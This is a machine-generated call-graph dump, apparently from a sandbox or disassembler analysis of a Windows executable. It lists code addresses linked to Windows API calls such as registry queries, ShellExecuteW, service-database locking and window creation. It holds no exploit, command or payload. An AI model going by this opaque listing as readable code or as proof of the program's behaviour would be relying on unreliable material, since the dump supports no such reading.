49802->49805 49803->49802 49804 430f73 49816 416cee 34 API calls 49804->49816 49805->49781 49807 430f7b 49817 4172d5 34 API calls 49807->49817 49809 430fa2 49818 416cee 34 API calls 49809->49818 49811->49790 49812->49790 49813->49787 49814->49795 49815->49804 49816->49807 49817->49809 49818->49794 49819 458276 49824 41a0dd 49819->49824 49823 45828a 49825 41a0ea _fast_error_exit 49824->49825 49865 4108ad 18 API calls 49825->49865 49827 41a0f7 49828 416bde 34 API calls 49827->49828 49829 41a102 49828->49829 49830 416bde 34 API calls 49829->49830 49831 41a10d 49830->49831 49832 416bde 34 API calls 49831->49832 49833 41a118 49832->49833 49834 416bde 34 API calls 49833->49834 49835 41a123 49834->49835 49836 416bde 34 API calls 49835->49836 49837 41a12e 49836->49837 49838 416bde 34 API calls 49837->49838 49839 41a139 49838->49839 49840 416bde 34 API calls 49839->49840 49841 41a144 49840->49841 49842 416bde 34 API calls 49841->49842 49843 41a14f 49842->49843 49844 416bde 34 API calls 49843->49844 49845 41a15a 49844->49845 49846 416bde 34 API calls 49845->49846 49847 41a165 49846->49847 49848 416bde 34 API calls 49847->49848 49849 41a1b4 49848->49849 49866 403465 34 API calls 49849->49866 49851 41a231 49867 402a44 34 API calls 49851->49867 49853 41a253 49854 416bde 34 API calls 49853->49854 49855 41a25e 49854->49855 49856 416bde 34 API calls 49855->49856 49857 41a269 49856->49857 49858 416d00 34 API calls 49857->49858 49859 41a302 49858->49859 49860 449170 34 API calls 49859->49860 49863 41f74f 49860->49863 49861 41f7da 49864 449646 38 API calls 49861->49864 49862 416034 34 API calls 49862->49863 49863->49861 49863->49862 49864->49823 49865->49827 49866->49851 49867->49853 49868 4582c6 49873 40f71a 49868->49873 49872 4582db 49874 40f727 _fast_error_exit 49873->49874 49875 449170 34 API calls 49874->49875 49876 40f76f GetModuleFileNameW 49875->49876 49877 40f7a3 49876->49877 49878 449170 34 API calls 49877->49878 49879 40f7db 49878->49879 49880 40f7fe RegOpenKeyExW 49879->49880 49881 40f930 49880->49881 49882 40f823 RegQueryValueExW 49880->49882 49886 449646 38 API calls 49881->49886 49883 40f927 RegCloseKey 49882->49883 49885 40f84d 49882->49885 49883->49881 49884 449170 34 API calls 49884->49885 49885->49883 49885->49884 49886->49872 49887 44faf0 49888 44fb2c 49887->49888 49910 44fb25 49887->49910 49889 44fb56 49888->49889 49890 44fb6a 49888->49890 49914 455696 36 API calls 2 library calls 49889->49914 49893 44fc04 WriteFile 49890->49893 49899 44fb78 49890->49899 49895 44fc1c 49893->49895 49896 44fc28 GetLastError 49893->49896 49898 44fc64 49895->49898 49903 44fc3d 49895->49903 49895->49910 49896->49895 49897 44fb65 49897->49890 49898->49910 49918 44d915 34 API calls __umatherr 49898->49918 49899->49898 49901 44fbc9 WriteFile 49899->49901 49901->49896 49904 44fb8c 49901->49904 49902 44fc7e 49919 44d91e 34 API calls __umatherr 49902->49919 49906 44fc45 49903->49906 49907 44fc59 49903->49907 49904->49895 49904->49899 49912 44fc02 49904->49912 49915 44d915 34 API calls __umatherr 49906->49915 49917 44d927 34 API calls __umatherr 49907->49917 49920 44c969 49910->49920 49911 44fc4a 49916 44d91e 34 API calls __umatherr 49911->49916 49912->49895 49914->49897 49915->49911 49916->49910 49917->49910 49918->49902 49919->49910 49921 44c971 49920->49921 49922 44c938 ___free_lc_time 49920->49922 49926 4545bb 34 API calls 6 library calls 49922->49926 49927 458322 49930 403f24 DeleteObject InvalidateRect 49927->49930 49931 45828c 49936 412519 49931->49936 49935 4582a0 49937 412537 49936->49937 49938 416bde 34 API calls 49937->49938 49939 412544 49937->49939 49938->49937 49943 4129c0 49939->49943 49942 449646 38 API calls 49942->49935 49944 412550 49943->49944 49945 4129d2 __umatherr 49943->49945 49944->49942 49946 4129f6 CreateIcon 49945->49946 49946->49944 49947 45833c 49950 41f7e3 49947->49950 49952 41f7f6 49950->49952 49951 41f822 mciSendStringW 49960 41f83a 49951->49960 49963 41f88c 49951->49963 49952->49951 49953 41f856 UnregisterHotKey 49953->49960 49956 41f90d 49975 43138d 49956->49975 49957 4183f6 ctype VariantClear 49959 41f9a9 49957->49959 49958 41f8d4 FindClose 49958->49963 49983 4217e3 CloseHandle CloseHandle CloseHandle CloseHandle ctype 49959->49983 49960->49953 49960->49963 49962 413e1f 47 API calls 49962->49963 49963->49956 49963->49958 49963->49962 49976 431399 49975->49976 49977 4313a2 49976->49977 49984 421751 VariantClear 49976->49984 49979 418ad9 35 API calls 49977->49979 49980 4313c5 49979->49980 49981 41f99e 49980->49981 49982 4313cd CoUninitialize 49980->49982 49981->49957 49982->49981 49984->49976 49985 44be98 49986 44bea4 _fast_error_exit ___free_lc_time 49985->49986 49987 44beb0 GetVersionExA 49986->49987 49988 44beec 49987->49988 49989 44bef8 GetModuleHandleA 49987->49989 49988->49989 49991 44bf14 49989->49991 50028 44e07d HeapCreate 49991->50028 49992 44bf66 49993 44bf72 49992->49993 50145 44be74 34 API calls _fast_error_exit 49992->50145 50035 44c499 49993->50035 49996 44bf78 49998 44bf83 49996->49998 50146 44be74 34 API calls _fast_error_exit 49996->50146 50053 4505a6 49998->50053 50001 44bf9c 50070 4536f2 50001->50070 50008 44bfb6 50009 44bfc1 50008->50009 50148 44be4f 34 API calls _fast_error_exit 50008->50148 50113 4532bf 50009->50113 50013 44bfd2 50123 44ae57 50013->50123 50017 44bfe9 GetStartupInfoW 50018 44bffb 50017->50018 50021 44c00d GetModuleHandleA 50018->50021 50020 44bfe8 50020->50017 50127 401852 50021->50127 50024 44c02b 50151 44afa6 34 API calls __startOneArgErrorHandling 50024->50151 50027 44c030 ___free_lc_time 50029 44e0c7 50028->50029 50030 44e09d 50028->50030 50029->49992 50031 44e0ca 50030->50031 50152 44e0ce RtlAllocateHeap 50030->50152 50031->49992 50033 44e0b6 50033->50031 50034 44e0bb HeapDestroy 50033->50034 50034->50029 50153 44c588 GetProcAddress __lock 50035->50153 50037 44c49e 50038 44c4a2 50037->50038 50039 44c4aa 50037->50039 50154 44c282 37 API calls ___free_lc_time 50038->50154 50042 44c4bd GetProcAddress GetProcAddress GetProcAddress GetProcAddress 50039->50042 50043 44c528 FlsAlloc 50039->50043 50041 44c4a7 50041->49996 50042->50043 50044 44c500 50042->50044 50045 44c53d 50043->50045 50046 44c57e 50043->50046 50044->50043 50155 4504cf 34 API calls 4 library calls 50045->50155 50156 44c282 37 API calls ___free_lc_time 50046->50156 50049 44c54b 50049->50046 50051 44c553 FlsSetValue 50049->50051 50050 44c583 50050->49996 50051->50046 50052 44c564 GetCurrentThreadId 50051->50052 50052->50050 50157 449adf 50053->50157 50056 4505fb GetStartupInfoA 50061 4506fe 50056->50061 50066 450615 50056->50066 50057 45078e SetHandleCount 50069 44bf91 50057->50069 50058 45072d GetStdHandle 50059 45073b GetFileType 50058->50059 50058->50061 50059->50061 50060 449adf __getbuf 34 API calls 50060->50066 50061->50057 50061->50058 50068 450752 50061->50068 50062 450686 50062->50061 50063 4506b7 50062->50063 50064 4506ac GetFileType 50062->50064 50063->50062 50063->50069 50160 454432 GetProcAddress ___free_lc_time 50063->50160 50064->50062 50064->50063 50066->50060 50066->50061 50066->50062 50068->50061 50068->50069 50161 454432 GetProcAddress ___free_lc_time 50068->50161 50069->50001 50147 44be4f 34 API calls _fast_error_exit 50069->50147 50071 453705 GetCommandLineW 50070->50071 50072 453732 50070->50072 50073 453717 GetLastError 50071->50073 50074 45370b 50071->50074 50075 453737 GetCommandLineW 50072->50075 50076 453722 50072->50076 50073->50076 50077 44bfa2 50073->50077 50074->50075 50075->50077 50076->50077 50078 453740 GetCommandLineA MultiByteToWideChar 50076->50078 50085 453588 50077->50085 50078->50077 50079 453760 50078->50079 50080 449adf __getbuf 34 API calls 50079->50080 50081 453769 50080->50081 50081->50077 50082 453770 MultiByteToWideChar 50081->50082 50082->50077 50083 45377f 50082->50083 50162 449c88 50083->50162 50086 4535c2 50085->50086 50087 4535a3 GetEnvironmentStringsW 50085->50087 50089 4535ab 50086->50089 50090 45362e 50086->50090 50088 4535b7 GetLastError 50087->50088 50087->50089 50088->50086 50091 4535e9 50089->50091 50092 4535da GetEnvironmentStringsW 50089->50092 50093 453637 GetEnvironmentStrings 50090->50093 50095 44bfac 50090->50095 50098 449adf __getbuf 34 API calls 50091->50098 50092->50091 50092->50095 50094 453643 _strlen 50093->50094 50093->50095 50096 45366d 50094->50096 50097 45364a MultiByteToWideChar 50094->50097 50109 4534f2 GetModuleFileNameW 50095->50109 50099 449adf __getbuf 34 API calls 50096->50099 50097->50094 50097->50095 50104 45360a 50098->50104 50108 45367b _strlen 50099->50108 50100 4536e6 FreeEnvironmentStringsA 50100->50095 50101 453613 FreeEnvironmentStringsW 50101->50095 50102 4536c7 FreeEnvironmentStringsA 50102->50095 50103 45368d MultiByteToWideChar 50105 4536dc 50103->50105 50103->50108 50104->50101 50106 449c88 ___free_lc_time 34 API calls 50105->50106 50107 4536e5 50106->50107 50107->50100 50108->50100 50108->50102 50108->50103 50110 453524 50109->50110 50111 449adf __getbuf 34 API calls 50110->50111 50112 45354f 50111->50112 50112->50008 50115 4532d8 50113->50115 50116 44bfc7 50113->50116 50114 449adf __getbuf 34 API calls 50121 453300 50114->50121 50115->50114 50116->50013 50149 44be4f 34 API calls _fast_error_exit 50116->50149 50117 45334e 50118 449c88 ___free_lc_time 34 API calls 50117->50118 50118->50116 50119 449adf __getbuf 34 API calls 50119->50121 50120 453373 50122 449c88 ___free_lc_time 34 API calls 50120->50122 50121->50116 50121->50117 50121->50119 50121->50120 50122->50116 50125 44ae60 50123->50125 50126 44ae9c 50125->50126 50174 449646 38 API calls 50125->50174 50126->50017 50150 44be4f 34 API calls _fast_error_exit 50126->50150 50175 401904 50127->50175 50130 401890 50179 44917e 50130->50179 50133 4018a1 50184 412124 50133->50184 50137 4018c1 50200 40109d GetCurrentDirectoryW 50137->50200 50141 4018d2 50141->50024 50142 44af84 50141->50142 50970 44aec1 50142->50970 50144 44af91 50144->50024 50145->49993 50146->49998 50147->50001 50148->50009 50149->50013 50150->50020 50151->50027 50152->50033 50153->50037 50154->50041 50155->50049 50156->50050 50158 449ab3 __getbuf 34 API calls 50157->50158 50159 449aee 50158->50159 50159->50056 50159->50069 50160->50063 50161->50068 50164 449c94 ___free_lc_time 50162->50164 50163 449cf3 ___free_lc_time 50163->50077 50164->50163 50166 44c6db __lock 33 API calls 50164->50166 50171 449cd0 50164->50171 50165 449ce5 RtlFreeHeap 50165->50163 50168 449cab ___free_lc_time 50166->50168 50167 449cc5 50173 449cdb RtlLeaveCriticalSection __lock 50167->50173 50168->50167 50172 44e141 VirtualFree VirtualFree HeapFree __shift 50168->50172 50171->50163 50171->50165 50172->50167 50173->50171 50174->50126 50176 401884 50175->50176 50177 40190a LoadLibraryA 50175->50177 50176->50130 50240 4018ee LoadLibraryA GetProcAddress 50176->50240 50177->50176 50178 40191b GetProcAddress 50177->50178 50178->50176 50180 44c6db __lock 34 API calls 50179->50180 50181 449186 50180->50181 50242 44c626 RtlLeaveCriticalSection 50181->50242 50183 44919c 50183->50133 50243 40ea76 GetVersionExW 50184->50243 50187 41214d SystemParametersInfoW SystemParametersInfoW 50188 4018b4 50187->50188 50189 401961 50188->50189 50190 40196e _fast_error_exit 50189->50190 50191 416d00 34 API calls 50190->50191 50199 401985 50191->50199 50192 401a32 50193 416bfe 34 API calls 50192->50193 50198 401afd 50192->50198 50195 401af2 50193->50195 50194 416bfe 34 API calls 50194->50199 50274 401b0d 34 API calls 50195->50274 50198->50137 50199->50192 50199->50194 50199->50198 50273 401b0d 34 API calls 50199->50273 50275 4013e2 50200->50275 50202 4010cb 50203 4010d3 50202->50203 50204 4010e6 50202->50204 50387 40fa56 34 API calls 50203->50387 50338 40fee1 50204->50338 50207 4010e4 50348 40feaf 50207->50348 50209 401110 GetFullPathNameW 50209->50207 50210 40126b SetCurrentDirectoryW 50213 401278 50210->50213 50241 412178 SystemParametersInfoW 50213->50241 50216 401180 50218 40123e 50216->50218 50368 41629f 50216->50368 50217 40115a 50219 401164 SetCurrentDirectoryW 50217->50219 50377 40127d GetSysColorBrush LoadCursorW LoadIconW LoadIconW 50218->50377 50219->50213 50224 40119c 50224->50218 50226 4011a4 GetModuleFileNameW 50224->50226 50225 401248 50227 401258 50225->50227 50390 4128c6 69 API calls 50225->50390 50228 401214 GetForegroundWindow ShellExecuteW 50226->50228 50229 4011be 50226->50229 50233 4200f5 329 API calls 50227->50233 50230 401101 50228->50230 50232 416bfe 34 API calls 50229->50232 50230->50210 50234 4011cc 50232->50234 50233->50230 50388 416ee1 34 API calls 50234->50388 50236 4011d9 50389 416ee1 34 API calls 50236->50389 50238 4011e4 GetForegroundWindow ShellExecuteW 50239 401211 50238->50239 50239->50230 50240->50130 50241->50141 50242->50183 50244 40eac0 50243->50244 50245 40ecfe GetCurrentProcess 50244->50245 50259 40edd4 50245->50259 50248 40ed44 50262 40ee00 50248->50262 50249 40ed86 GetSystemInfo 50253 40ed70 50249->50253 50252 40ed65 50252->50253 50257 40ed6b FreeLibrary 50252->50257 50254 40edc6 FreeLibrary 50253->50254 50255 40edcb 50253->50255 50254->50255 50255->50187 50255->50188 50257->50253 50269 40ee27 50259->50269 50263 40ed52 50262->50263 50264 40ee06 LoadLibraryA 50262->50264 50263->50252 50266 40edea 50263->50266 50264->50263 50265 40ee17 GetProcAddress 50264->50265 50265->50263 50267 40ee00 2 API calls 50266->50267 50268 40ed63 GetNativeSystemInfo 50267->50268 50268->50252 50270 40ed1a 50269->50270 50271 40ee2d LoadLibraryA 50269->50271 50270->50248 50270->50249 50271->50270 50272 40ee3e GetProcAddress 50271->50272 50272->50270 50273->50199 50274->50198 50276 416bde 34 API calls 50275->50276 50277 4013f3 GetModuleFileNameW 50276->50277 50391 418b0c 50277->50391 50280 416bfe 34 API calls 50281 401438 50280->50281 50282 416990 39 API calls 50281->50282 50283 401448 50282->50283 50284 418a14 VariantClear 50283->50284 50285 401452 50284->50285 50286 416bfe 34 API calls 50285->50286 50287 401463 50286->50287 50288 416990 39 API calls 50287->50288 50289 401472 50288->50289 50290 416bfe 34 API calls 50289->50290 50291 401487 50290->50291 50292 4169e0 CharUpperBuffW 50291->50292 50293 401494 50292->50293 50398 401b2f 50293->50398 50295 4014ab 50405 44907d 50295->50405 50298 4014d2 50300 44907d 62 API calls 50298->50300 50299 401b2f 34 API calls 50299->50298 50301 4014df 50300->50301 50302 4014f9 50301->50302 50303 401b2f 34 API calls 50301->50303 50304 44907d 62 API calls 50302->50304 50303->50302 50305 401506 50304->50305 50306 401548 50305->50306 50307 40150f GetModuleFileNameW 50305->50307 50308 44907d 62 API calls 50306->50308 50309 401b2f 34 API calls 50307->50309 50310 401555 50308->50310 50311 40152f 50309->50311 50313 401b2f 34 API calls 50310->50313 50319 401585 50310->50319 50418 416cee 34 API calls 50311->50418 50316 40156b 50313->50316 50314 4015a7 50318 419c9c 35 API calls 50314->50318 50315 40153a 50317 401b2f 34 API calls 50315->50317 50322 401b2f 34 API calls 50316->50322 50317->50306 50320 4015b9 50318->50320 50319->50314 50321 401b2f 34 API calls 50319->50321 50323 419d56 35 API calls 50320->50323 50321->50314 50322->50319 50324 4015cb 50323->50324 50325 419c9c 35 API calls 50324->50325 50326 4015d2 50325->50326 50412 419e5c 50326->50412 50329 418a14 VariantClear 50337 4015ec 50329->50337 50330 401629 50331 4183f6 ctype VariantClear 50330->50331 50333 401631 50331->50333 50332 419c9c 35 API calls 50332->50337 50333->50202 50334 419e5c 34 API calls 50334->50337 50335 418b0c 35 API calls 50335->50337 50336 401b2f 34 API calls 50336->50337 50337->50330 50337->50332 50337->50334 50337->50335 50337->50336 50339 40fef6 __umatherr 50338->50339 50340 414e6e 35 API calls 50339->50340 50344 4010fd 50339->50344 50341 40ff5e 50340->50341 50434 414e97 50341->50434 50343 40ff65 50441 40fb2e GetFullPathNameW 50343->50441 50344->50209 50344->50230 50346 40ff90 50451 410562 50346->50451 50349 401141 50348->50349 50350 40feb6 50348->50350 50352 41fea4 50349->50352 50351 449170 34 API calls 50350->50351 50351->50349 50353 449170 34 API calls 50352->50353 50362 41fecf 50353->50362 50354 41ff4e 50960 435b03 77 API calls 50354->50960 50357 41ff5b 50358 401156 50357->50358 50961 420499 79 API calls 50357->50961 50358->50216 50358->50217 50360 41ff64 50360->50358 50361 41ff6d GetFullPathNameW 50360->50361 50363 416d00 34 API calls 50361->50363 50362->50354 50362->50358 50959 42859b 77 API calls 50362->50959 50364 41ff99 50363->50364 50365 416d00 34 API calls 50364->50365 50366 41ffa8 50365->50366 50367 416d00 34 API calls 50366->50367 50367->50358 50369 4162aa 50368->50369 50370 4162ae OpenSCManagerW 50368->50370 50369->50224 50371 4162e9 50370->50371 50372 4162bf LockServiceDatabase 50370->50372 50371->50224 50373 4162d3 GetLastError 50372->50373 50374 4162ca UnlockServiceDatabase 50372->50374 50375 4162e0 50373->50375 50376 4162e2 CloseServiceHandle 50373->50376 50374->50375 50375->50376 50376->50371 50378 4012e9 LoadImageW 50377->50378 50379 4012cf 50377->50379 50381 4012ff RegisterClassExW 50378->50381 50379->50378 50380 4012d8 50379->50380 50962 416168 50380->50962 50966 404205 GetSysColorBrush RegisterClassExW RegisterClipboardFormatW 50381->50966 50386 401371 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 50386->50225 50387->50207 50388->50236 50389->50238 50390->50227 50392 4183f6 ctype VariantClear 50391->50392 50393 418b13 50392->50393 50394 449170 34 API calls 50393->50394 50396 418b21 50394->50396 50395 401428 50395->50280 50396->50395 50397 416c4c 34 API calls 50396->50397 50397->50395 50399 401b48 50398->50399 50400 401b39 50398->50400 50419 416cee 34 API calls 50399->50419 50401 416d00 34 API calls 50400->50401 50402 401b44 50401->50402 50402->50295 50404 401b5a 50404->50295 50420 44c2b2 GetLastError FlsGetValue 50405->50420 50407 449086 50411 449099 50407->50411 50430 44c23e 34 API calls 3 library calls 50407->50430 50409 44b526 62 API calls 50409->50411 50410 4014b8 50410->50298 50410->50299 50411->50409 50411->50410 50413 419e63 50412->50413 50414 449170 34 API calls 50413->50414 50416 4015e2 50413->50416 50415 419e89 50414->50415 50415->50416 50433 418198 34 API calls 50415->50433 50416->50329 50418->50315 50419->50404 50421 44c317 SetLastError 50420->50421 50422 44c2ce 50420->50422 50421->50407 50431 4504cf 34 API calls 4 library calls 50422->50431 50424 44c2da 50425 44c2e2 FlsSetValue 50424->50425 50426 44c30f 50424->50426 50425->50426 50427 44c2f3 GetCurrentThreadId 50425->50427 50432 44be4f 34 API calls _fast_error_exit 50426->50432 50427->50421 50429 44c316 50429->50421 50430->50411 50431->50424 50432->50429 50433->50416 50483 449154 50434->50483 50436 414eb2 SHGetMalloc 50437 414ed3 SHGetDesktopFolder 50436->50437 50439 414ec2 50436->50439 50438 414ee1 50437->50438 50437->50439 50438->50439 50440 414f03 SHGetPathFromIDListW 50438->50440 50439->50343 50440->50439 50442 40fb7f 50441->50442 50450 40fb59 50441->50450 50443 416034 34 API calls 50442->50443 50444 40fb8b 50443->50444 50485 403d50 34 API calls 50444->50485 50446 44907d 62 API calls 50446->50450 50447 40fb9b 50486 403d50 34 API calls 50447->50486 50449 40fbae 50449->50346 50450->50442 50450->50446 50450->50449 50452 41056f _fast_error_exit 50451->50452 50487 442c1c 50452->50487 50455 410595 50457 4105f9 50455->50457 50458 41059a 50455->50458 50456 4105b9 50505 443162 50456->50505 50555 414469 53 API calls 50457->50555 50554 40ffa0 112 API calls _fast_error_exit 50458->50554 50463 41060d 50475 4105b4 50463->50475 50464 443162 67 API calls 50465 4105e7 50464->50465 50467 4105eb 50465->50467 50477 410617 50465->50477 50467->50457 50468 4105f1 50467->50468 50471 44a855 46 API calls 50468->50471 50469 449c88 ___free_lc_time 34 API calls 50472 410722 50469->50472 50471->50457 50472->50475 50546 44a855 50472->50546 50475->50344 50481 410714 50477->50481 50542 410414 50477->50542 50556 40fe2c 62 API calls 50477->50556 50557 40fdf3 54 API calls 50477->50557 50558 40fdc4 54 API calls 50477->50558 50559 449d8c 54 API calls 50477->50559 50560 40fac3 34 API calls 50477->50560 50561 41073c 64 API calls 50477->50561 50562 40fa56 34 API calls 50477->50562 50481->50469 50484 44915c 50483->50484 50484->50436 50484->50484 50485->50447 50486->50449 50488 4168a2 36 API calls 50487->50488 50489 442c32 50488->50489 50490 4168a2 36 API calls 50489->50490 50491 442c3f _strcat 50490->50491 50563 442a91 50491->50563 50497 442cc1 50498 442cd2 50497->50498 50499 442cc9 50497->50499 50579 44a98f 50498->50579 50500 44a855 46 API calls 50499->50500 50502 410591 50500->50502 50502->50455 50502->50456 50503 442cdf 50587 44be0e 50503->50587 50506 4168a2 36 API calls 50505->50506 50507 44317a _strcat 50506->50507 50508 44a64b 45 API calls 50507->50508 50509 4431af 50508->50509 50848 4432ef 50509->50848 50512 44a98f 44 API calls 50513 4431de 50512->50513 50514 44a98f 44 API calls 50513->50514 50515 4431ec 50514->50515 50516 44a98f 44 API calls 50515->50516 50517 443205 50516->50517 50518 44a98f 44 API calls 50517->50518 50519 44321e 50518->50519 50520 44a64b 45 API calls 50519->50520 50521 443235 50520->50521 50522 449adf __getbuf 34 API calls 50521->50522 50523 44323f 50522->50523 50524 449adf __getbuf 34 API calls 50523->50524 50525 443248 50524->50525 50526 44a98f 44 API calls 50525->50526 50527 443256 50526->50527 50854 442e08 50527->50854 50529 44326c 50530 443291 50529->50530 50531 44327c 50529->50531 50533 443297 50530->50533 50534 4432d3 50530->50534 50532 449c88 ___free_lc_time 34 API calls 50531->50532 50536 443284 50532->50536 50858 441b62 50533->50858 50535 449c88 ___free_lc_time 34 API calls 50534->50535 50539 4105ce 50535->50539 50537 449c88 ___free_lc_time 34 API calls 50536->50537 50537->50539 50539->50464 50539->50477 50541 449c88 ___free_lc_time 34 API calls 50541->50539 50543 410421 _fast_error_exit 50542->50543 50545 410433 50543->50545 50901 41684e 36 API calls _strlen 50543->50901 50545->50477 50547 44a861 ___free_lc_time 50546->50547 50548 44b8fc 35 API calls 50547->50548 50549 44a86e ___free_lc_time 50547->50549 50550 44a881 50548->50550 50549->50475 50902 44a809 50550->50902 50554->50475 50555->50463 50556->50477 50557->50477 50558->50477 50559->50477 50560->50477 50561->50477 50562->50477 50564 442a9e _strlen 50563->50564 50595 44220e 50564->50595 50567 44bc99 50616 44bc3d 50567->50616 50569 442caf 50569->50502 50570 442d0d 50569->50570 50572 442d1a _strcat _fast_error_exit 50570->50572 50571 44a98f 44 API calls 50571->50572 50572->50571 50573 44a64b 45 API calls 50572->50573 50574 442dc3 50572->50574 50578 442de3 50572->50578 50573->50572 50575 44a64b 45 API calls 50574->50575 50576 442dd1 50575->50576 50577 44a98f 44 API calls 50576->50577 50577->50578 50578->50497 50580 44a99b ___free_lc_time 50579->50580 50707 44b8fc 50580->50707 50582 44a9a3 50713 44a8a6 50582->50713 50586 44a9c8 ___free_lc_time 50586->50503 50588 44be1a ___free_lc_time 50587->50588 50589 44b8fc 35 API calls 50588->50589 50590 44be22 50589->50590 50792 44bcac 50590->50792 50594 44be3c ___free_lc_time 50594->50502 50596 442226 _fast_error_exit __umatherr 50595->50596 50598 4422b2 50596->50598 50599 44a129 50596->50599 50598->50567 50604 44eda8 50599->50604 50603 44a166 50603->50596 50605 44f527 50604->50605 50609 44edf4 __aulldvrm _strlen 50604->50609 50606 44c969 __startOneArgErrorHandling 34 API calls 50605->50606 50607 44a158 50606->50607 50607->50603 50615 44cbd4 43 API calls 2 library calls 50607->50615 50608 44ed1a 43 API calls _write_multi_char 50608->50609 50609->50605 50609->50608 50610 455332 35 API calls _write_multi_char 50609->50610 50611 449adf __getbuf 34 API calls 50609->50611 50612 449c88 ___free_lc_time 34 API calls 50609->50612 50613 44ed71 43 API calls 50609->50613 50614 44ed4d 43 API calls _write_multi_char 50609->50614 50610->50609 50611->50609 50612->50609 50613->50609 50614->50609 50615->50603 50617 44bc49 ___free_lc_time 50616->50617 50627 44f6d3 50617->50627 50619 44bc4e 50620 44bc64 50619->50620 50621 44bc55 50619->50621 50647 452f60 50620->50647 50651 44d915 34 API calls __umatherr 50621->50651 50626 44bc5a ___free_lc_time 50626->50569 50628 44f6df ___free_lc_time 50627->50628 50629 44c6db __lock 34 API calls 50628->50629 50630 44f6ed 50629->50630 50631 44f75a 50630->50631 50632 44f75e 50630->50632 50640 44c63b __lock 34 API calls 50630->50640 50656 44b92b 35 API calls __lock 50630->50656 50657 44b97d RtlLeaveCriticalSection RtlLeaveCriticalSection __lock 50630->50657 50653 44f7ec 50631->50653 50634 449adf __getbuf 34 API calls 50632->50634 50635 44f768 50634->50635 50635->50631 50637 44f77e 50635->50637 50636 44f7e1 ___free_lc_time 50636->50619 50658 454432 GetProcAddress ___free_lc_time 50637->50658 50640->50630 50641 44f78c 50643 44f797 50641->50643 50644 44f7aa RtlEnterCriticalSection 50641->50644 50645 449c88 ___free_lc_time 34 API calls 50643->50645 50644->50631 50646 44f79f 50645->50646 50646->50631 50648 452f7f 50647->50648 50649 44bc77 50648->50649 50660 455e88 50648->50660 50652 44bc8f RtlLeaveCriticalSection RtlLeaveCriticalSection 50649->50652 50651->50626 50652->50626 50659 44c626 RtlLeaveCriticalSection 50653->50659 50655 44f7f3 50655->50636 50656->50630 50657->50630 50658->50641 50659->50655 50661 455e94 ___free_lc_time 50660->50661 50666 455ba1 50661->50666 50665 455ec4 ___free_lc_time 50665->50649 50669 455bbc 50666->50669 50667 455c28 50668 44d915 __umatherr 34 API calls 50667->50668 50670 455c2d 50668->50670 50669->50667 50672 455c42 50669->50672 50671 44d91e _write_multi_char 34 API calls 50670->50671 50690 455c38 50671->50690 50673 455cb5 50672->50673 50676 455c8c 50672->50676 50674 44d915 __umatherr 34 API calls 50673->50674 50675 455cba 50674->50675 50677 44d91e _write_multi_char 34 API calls 50675->50677 50678 4509a2 37 API calls 50676->50678 50677->50690 50679 455d3a 50678->50679 50680 455d43 50679->50680 50681 455d5d CreateFileA 50679->50681 50682 44d915 __umatherr 34 API calls 50680->50682 50683 455d9c GetLastError 50681->50683 50684 455d8a GetFileType 50681->50684 50685 455d48 50682->50685 50688 44d927 _write_multi_char 34 API calls 50683->50688 50686 455d95 CloseHandle 50684->50686 50687 455dab 50684->50687 50689 44d91e _write_multi_char 34 API calls 50685->50689 50686->50683 50691 4507a4 35 API calls 50687->50691 50688->50690 50689->50690 50706 455ecd RtlLeaveCriticalSection _write_multi_char 50690->50706 50692 455dc6 50691->50692 50692->50690 50693 44f7f5 _write_multi_char 36 API calls 50692->50693 50694 455e09 50693->50694 50695 455e14 50694->50695 50696 455e3d 50694->50696 50698 44d91e _write_multi_char 34 API calls 50695->50698 50697 44ff81 40 API calls 50696->50697 50699 455e4d 50697->50699 50700 455e19 50698->50700 50701 455e63 50699->50701 50704 45705f 43 API calls 50699->50704 50700->50690 50703 44fd57 37 API calls 50700->50703 50701->50700 50702 44f7f5 _write_multi_char 36 API calls 50701->50702 50702->50700 50705 455e82 50703->50705 50704->50701 50706->50665 50708 44b920 RtlEnterCriticalSection 50707->50708 50709 44b909 50707->50709 50708->50582 50709->50708 50710 44b910 50709->50710 50711 44c6db __lock 34 API calls 50710->50711 50712 44b91e 50711->50712 50712->50582 50716 44a8c3 50713->50716 50717 44a8ca 50713->50717 50718 44a9d1 50716->50718 50717->50716 50721 45015e 50717->50721 50739 44fea0 50717->50739 50785 44b94e 50718->50785 50720 44a9d9 50720->50586 50722 45016a ___free_lc_time 50721->50722 50723 4501ed 50722->50723 50725 450195 50722->50725 50776 44d915 34 API calls __umatherr 50723->50776 50745 4508e0 50725->50745 50726 4501f2 50777 44d91e 34 API calls __umatherr 50726->50777 50729 45019b 50730 4501bd 50729->50730 50731 4501a9 50729->50731 50773 44d915 34 API calls __umatherr 50730->50773 50757 44ff81 50731->50757 50734 4501c2 50774 44d91e 34 API calls __umatherr 50734->50774 50735 4501b5 50775 4501e5 RtlLeaveCriticalSection _write_multi_char 50735->50775 50738 4501dd ___free_lc_time 50738->50717 50740 44feb0 50739->50740 50744 44febc 50739->50744 50741 44fed9 50740->50741 50740->50744 50784 45492b 34 API calls __getbuf 50740->50784 50743 45015e 42 API calls 50741->50743 50743->50744 50744->50717 50746 4508ec ___free_lc_time 50745->50746 50747 45094e RtlEnterCriticalSection 50746->50747 50749 44c6db __lock 34 API calls 50746->50749 50748 45096e ___free_lc_time 50747->50748 50748->50729 50750 450914 50749->50750 50751 450945 50750->50751 50752 45091d 50750->50752 50779 450977 RtlLeaveCriticalSection __lock 50751->50779 50778 454432 GetProcAddress ___free_lc_time 50752->50778 50755 45092b 50755->50751 50756 450931 __lock 50755->50756 50756->50748 50759 44ff9d 50757->50759 50766 450022 50757->50766 50758 44ffec ReadFile 50760 450005 GetLastError 50758->50760 50770 45003e 50758->50770 50759->50758 50759->50766 50761 450026 50760->50761 50762 450012 50760->50762 50761->50766 50782 44d927 34 API calls __umatherr 50761->50782 50780 44d915 34 API calls __umatherr 50762->50780 50764 450017 50781 44d91e 34 API calls __umatherr 50764->50781 50766->50735 50768 4500ba ReadFile 50769 4500d8 GetLastError 50768->50769 50772 4500e2 50768->50772 50769->50770 50769->50772 50770->50766 50770->50768 50772->50770 50783 455696 36 API calls 2 library calls 50772->50783 50773->50734 50774->50735 50775->50738 50776->50726 50777->50738 50778->50755 50779->50747 50780->50764 50781->50766 50782->50766 50783->50772 50784->50741 50786 44b972 RtlLeaveCriticalSection 50785->50786 50787 44b95b 50785->50787 50786->50720 50787->50786 50788 44b962 50787->50788 50791 44c626 RtlLeaveCriticalSection 50788->50791 50790 44b970 50790->50720 50791->50790 50793 44bcc5 50792->50793 50804 44f869 50793->50804 50795 44bcd1 50796 44bd3e 